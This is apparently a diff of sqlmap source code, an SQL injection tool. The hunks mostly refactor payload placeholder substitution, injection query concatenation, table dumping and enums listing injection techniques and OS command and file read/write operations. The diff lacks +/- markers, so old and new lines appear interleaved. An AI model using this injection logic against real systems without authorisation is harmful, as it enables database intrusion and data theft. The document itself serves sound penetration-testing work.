_ = (
("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
)
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
replacements = (
("[DELIMITER_START]", kb.chars.start),
("[DELIMITER_STOP]", kb.chars.stop),
("[AT_REPLACE]", kb.chars.at),
("[SPACE_REPLACE]", kb.chars.space),
("[DOLLAR_REPLACE]", kb.chars.dollar),
("[HASH_REPLACE]", kb.chars.hash_),
("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
)
payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload:
if origValue is not None:
origValue = getUnicode(origValue)
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGINAL]" in payload:
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
if INFERENCE_MARKER in payload:
if Backend.getIdentifiedDbms() is not None:
@@ -347,6 +349,7 @@ class Agent(object):
if payload:
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, str(randomInt()))
@@ -371,7 +374,7 @@ class Agent(object):
rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if 'hex' in rootQuery:
if "hex" in rootQuery:
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
@@ -540,7 +543,7 @@ class Agent(object):
fieldsToCastStr = fieldsToCastStr or ""
# Function
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = splitFields(fieldsToCastStr)
@@ -621,7 +624,7 @@ class Agent(object):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -632,7 +635,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery)
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -644,7 +647,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
@@ -820,7 +823,7 @@ class Agent(object):
limitRegExp2 = None
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
@@ -910,14 +913,14 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
elif Backend.isDbms(DBMS.HSQLDB):
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
if match:
limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
limitedQuery += " %s" % match.group(0)
if query.startswith("SELECT "):
@@ -937,7 +940,7 @@ class Agent(object):
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if not " ORDER BY " in limitedQuery:
if " ORDER BY " not in limitedQuery:
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
@@ -1091,7 +1094,7 @@ class Agent(object):
if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
if "%s)" % conf.tbl.upper() in prefix.upper():
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
elif re.search(r"(?i)\bWHERE\b", prefix):
prefix += " AND %s" % conf.dumpWhere

View File

@@ -1,15 +1,16 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
try:
import cPickle as pickle
import cPickle as pickle
except:
import pickle
import pickle
import bz2
import itertools
import os
import sys
@@ -18,6 +19,7 @@ import tempfile
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapSystemException
from lib.core.settings import BIGARRAY_CHUNK_SIZE
from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
DEFAULT_SIZE_OF = sys.getsizeof(object())
@@ -50,7 +52,7 @@ class BigArray(list):
List-like class used for storing large amounts of data (disk cached)
"""
def __init__(self):
def __init__(self, items=[]):
self.chunks = [[]]
self.chunk_length = sys.maxint
self.cache = None
@@ -58,6 +60,9 @@ class BigArray(list):
self._os_remove = os.remove
self._size_counter = 0
for item in items:
self.append(item)
def append(self, value):
self.chunks[-1].append(value)
@@ -80,12 +85,12 @@ class BigArray(list):
if len(self.chunks[-1]) < 1:
self.chunks.pop()
try:
with open(self.chunks[-1], "rb") as fp:
self.chunks[-1] = pickle.load(fp)
with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
except IOError, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
return self.chunks[-1].pop()
@@ -101,8 +106,8 @@ class BigArray(list):
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
self.filenames.add(filename)
os.close(handle)
with open(filename, "w+b") as fp:
pickle.dump(chunk, fp, pickle.HIGHEST_PROTOCOL)
with open(filename, "w+b") as f:
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
except (OSError, IOError), ex:
errMsg = "exception occurred while storing data "
@@ -110,7 +115,7 @@ class BigArray(list):
errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user"
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
def _checkcache(self, index):
if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -119,12 +124,12 @@ class BigArray(list):
if not (self.cache and self.cache.index == index):
try:
with open(self.chunks[index], "rb") as fp:
self.cache = Cache(index, pickle.load(fp), False)
except IOError, ex:
with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except Exception, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
def __getstate__(self):
return self.chunks, self.filenames
@@ -134,15 +139,10 @@ class BigArray(list):
self.chunks, self.filenames = state
def __getslice__(self, i, j):
retval = BigArray()
i = max(0, len(self) + i if i < 0 else i)
j = min(len(self), len(self) + j if j < 0 else j)
for _ in xrange(i, j):
retval.append(self[_])
return retval
return BigArray(self[_] for _ in xrange(i, j))
def __getitem__(self, y):
if y < 0:

File diff suppressed because it is too large Load Diff

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
if len(self.stack) > 1:
func = self.stack[-2]
if func not in PICKLE_REDUCE_WHITELIST:
raise Exception, "abusing reduce() is bad, Mkay!"
raise Exception("abusing reduce() is bad, Mkay!")
self.load_reduce()
def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
try:
retVal = loads(base64decode(value))
except TypeError:
except TypeError:
retVal = loads(base64decode(bytes(value)))
return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
pass
return retVal
def singleTimeWarnMessage(message): # Cross-linked function
def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message)
sys.stdout.write("\n")
sys.stdout.flush()
@@ -193,7 +193,7 @@ def stdoutencode(data):
warnMsg = "cannot properly display Unicode characters "
warnMsg += "inside Windows OS command prompt "
warnMsg += "(http://bugs.python.org/issue1602). All "
warnMsg += "unhandled occurances will result in "
warnMsg += "unhandled occurrences will result in "
warnMsg += "replacement with '?' character. Please, find "
warnMsg += "proper character representation inside "
warnMsg += "corresponding output files. "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,10 +1,14 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import hashlib
from lib.core.threads import getCurrentThreadData
def cachedmethod(f, cache={}):
"""
Method with a cached content
@@ -13,15 +17,25 @@ def cachedmethod(f, cache={}):
"""
def _(*args, **kwargs):
try:
key = (f, tuple(args), frozenset(kwargs.items()))
if key not in cache:
cache[key] = f(*args, **kwargs)
except:
key = "".join(str(_) for _ in (f, args, kwargs))
if key not in cache:
cache[key] = f(*args, **kwargs)
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
if key not in cache:
cache[key] = f(*args, **kwargs)
return cache[key]
return _
def stackedmethod(f):
def _(*args, **kwargs):
threadData = getCurrentThreadData()
originalLevel = len(threadData.valueStack)
try:
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
threadData.valueStack = threadData.valueStack[:originalLevel]
return result
return _

View File

@@ -1,27 +1,27 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.datatype import AttribDict
_defaults = {
"csvDel": ',',
"timeSec": 5,
"googlePage": 1,
"verbose": 1,
"delay": 0,
"timeout": 30,
"retries": 3,
"saFreq": 0,
"threads": 1,
"level": 1,
"risk": 1,
"dumpFormat": "CSV",
"tech": "BEUSTQ",
"torType": "SOCKS5",
"csvDel": ',',
"timeSec": 5,
"googlePage": 1,
"verbose": 1,
"delay": 0,
"timeout": 30,
"retries": 3,
"saFreq": 0,
"threads": 1,
"level": 1,
"risk": 1,
"dumpFormat": "CSV",
"tech": "BEUSTQ",
"torType": "SOCKS5",
}
defaults = AttribDict(_defaults)

View File

@@ -1,10 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.enums import POST_HINT
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
FIREBIRD_TYPES = {
@@ -184,16 +186,17 @@ DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
DBMS_DICT = {
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
}
@@ -208,54 +211,64 @@ FROM_DUMMY_TABLE = {
}
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ",
),
"SQL data definition": (
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"alter ",
),
"SQL data manipulation": (
"bulk ",
"insert ",
"update ",
"delete ",
"merge ",
"load ", ),
"bulk ",
"insert ",
"update ",
"delete ",
"merge ",
"load ",
),
"SQL data control": (
"grant ",
"revoke ", ),
"SQL data control": (
"grant ",
"revoke ",
),
"SQL data execution": (
"exec ",
"execute ",
"values ",
"call ", ),
"SQL data execution": (
"exec ",
"execute ",
"values ",
"call ",
),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ",
),
"SQL administration": (
"set ",
),
}
POST_HINT_CONTENT_TYPES = {
@@ -273,6 +286,8 @@ DEPRECATED_OPTIONS = {
"--binary": "use '--binary-fields' instead",
"--auth-private": "use '--auth-file' instead",
"--ignore-401": "use '--ignore-code' instead",
"--second-order": "use '--second-url' instead",
"--purge-output": "use '--purge' instead",
"--check-payload": None,
"--check-waf": None,
"--pickled-options": "use '--api -c ...' instead",
@@ -287,3 +302,31 @@ DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
}
PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH,
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ
}

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -46,6 +46,8 @@ from lib.core.settings import METADB_SUFFIX
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import VERSION_STRING
from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic
@@ -140,7 +142,7 @@ class Dump(object):
try:
elements = set(elements)
elements = list(elements)
elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
except:
pass
@@ -169,7 +171,7 @@ class Dump(object):
def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB):
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -191,7 +193,7 @@ class Dump(object):
userSettings = userSettings[0]
users = userSettings.keys()
users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
if conf.api:
self._write(userSettings, content_type=content_type)
@@ -285,7 +287,7 @@ class Dump(object):
colType = None
colList = columns.keys()
colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
for column in colList:
colType = columns[column]
@@ -377,7 +379,7 @@ class Dump(object):
if count is None:
count = "Unknown"
tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _)
for table in tables:
blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table)))
@@ -414,16 +416,16 @@ class Dump(object):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if not os.path.isdir(dumpDbPath):
try:
os.makedirs(dumpDbPath, 0755)
os.makedirs(dumpDbPath)
except:
warnFile = True
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
if not os.path.isdir(dumpDbPath):
try:
os.makedirs(dumpDbPath, 0755)
os.makedirs(dumpDbPath)
except Exception, ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +443,7 @@ class Dump(object):
dumpDbPath = tempDir
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False):
try:
openFile(dumpFileName, "w+b").close()
@@ -450,9 +452,9 @@ class Dump(object):
except:
warnFile = True
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -531,6 +533,7 @@ class Dump(object):
elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
@@ -611,9 +614,9 @@ class Dump(object):
mimetype = magic.from_buffer(value, mime=True)
if any(mimetype.startswith(_) for _ in ("application", "image")):
if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755)
os.makedirs(dumpDbPath)
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
logger.warn(warnMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -22,6 +22,15 @@ class SORT_ORDER:
FIFTH = 4
LAST = 100
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS:
NOTSET = 0
DEBUG = 10
INFO = 20
WARNING = 30
ERROR = 40
CRITICAL = 50
class DBMS:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
@@ -34,6 +43,7 @@ class DBMS:
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
H2 = "H2"
INFORMIX = "Informix"
class DBMS_DIRECTORY_NAME:
@@ -48,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
SQLITE = "sqlite"
SYBASE = "sybase"
HSQLDB = "hsqldb"
H2 = "h2"
INFORMIX = "informix"
class CUSTOM_LOGGING:
@@ -233,40 +244,42 @@ class REDIRECTION:
class PAYLOAD:
SQLINJECTION = {
1: "boolean-based blind",
2: "error-based",
3: "inline query",
4: "stacked queries",
5: "AND/OR time-based blind",
6: "UNION query",
}
1: "boolean-based blind",
2: "error-based",
3: "inline query",
4: "stacked queries",
5: "AND/OR time-based blind",
6: "UNION query",
}
PARAMETER = {
1: "Unescaped numeric",
2: "Single quoted string",
3: "LIKE single quoted string",
4: "Double quoted string",
5: "LIKE double quoted string",
}
1: "Unescaped numeric",
2: "Single quoted string",
3: "LIKE single quoted string",
4: "Double quoted string",
5: "LIKE double quoted string",
6: "Identifier (e.g. column name)",
}
RISK = {
0: "No risk",
1: "Low risk",
2: "Medium risk",
3: "High risk",
}
0: "No risk",
1: "Low risk",
2: "Medium risk",
3: "High risk",
}
CLAUSE = {
0: "Always",
1: "WHERE",
2: "GROUP BY",
3: "ORDER BY",
4: "LIMIT",
5: "OFFSET",
6: "TOP",
7: "Table name",
8: "Column name",
}
0: "Always",
1: "WHERE",
2: "GROUP BY",
3: "ORDER BY",
4: "LIMIT",
5: "OFFSET",
6: "TOP",
7: "Table name",
8: "Column name",
9: "Pre-WHERE (non-query)",
}
class METHOD:
COMPARISON = "comparison"
@@ -331,34 +344,6 @@ class CONTENT_TYPE:
OS_CMD = 24
REG_READ = 25
PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH,
